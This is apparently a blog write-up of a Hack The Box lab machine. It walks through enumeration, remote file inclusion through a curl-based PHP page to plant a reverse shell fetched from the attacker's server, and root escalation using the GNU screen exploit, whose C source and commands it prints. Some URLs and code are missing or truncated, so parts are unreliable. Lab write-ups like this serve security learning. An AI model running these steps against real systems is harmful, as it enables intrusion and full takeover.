Haircut Hack the Box

dl padmavathi
3 min readDec 12, 2020


The Ip address of the box:

Observe the nmap ran gave two ports opened.

Opened 80 port in the browser and observed the home page has an image file. Downloaded the image for any hidden parts, also inspected the home page if any clues hidden in comments, but no luck.

Ran gobuster for any subdirectories present:

gobuster dir -u -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

It gave uploads folder but 302 to uploads/. But uploads/ shows forbidden.

So ran file checks in uploads with extensions php, html and text files. But found nothing.

gobuster dir -u -t 500 -x php,html,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

I thought it’s a dead-end here, and was checking for port 22 hints. I have totally forgotten that I have not run the file extensions check in the home folder. So ran that:

Found exposed.php, went to that php file in the browser. It seems there is a lfi present, just entered 123 to check what error it gives us.

As seen in the above image we can see the curl is giving an error, so thought of trying remote file inclusion.

Use reverse shell from below url:

start a python server in kali machine where this reverse shell is present,

tried curl to upload reverse shell in the present web folder, but app says permission denied.

We have observed there was an uploads folder, so tried to upload thereby below command: — output ./uploads/file.php

observe in the above image we were able to upload the reverse shell in the uploads folder.

start a Netcat listener in my attacker kali machine and go to the uploads reverse shell path in the browser.

observe we got the shell in the listener.

now let’s run for privilege escalation.

get the script from here:

Observe linpeas says the screen command can be used for privilege escaltion.

after searching found this below exploit:

which is create a c file as below:

libhax.c, we compile this as a shared object which we can load using preload

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
printf("[+] done!\n");

and rootshell.c as below

#include <stdio.h>
int main(void){
execvp("/bin/sh", NULL, NULL);

execute the c file which has to be loaded as below:

gcc -fPIC -shared -ldl -o libhax.c

execute the root shell command as below

gcc -o rootshell rootshell.c

execute them as above and now run a python server in the attacker kali machine and get them to the victim machine.

Now, navigate to, etc and run below commands

cd /etc
umask 000
/usr/bin/screen -D -m -L echo -ne "\x0a/tmp/"
/usr/bin/screen -ls

And observe we got root.




dl padmavathi

I go by Padma. I am a security enthusiast. This blog contains security related and some general stuff.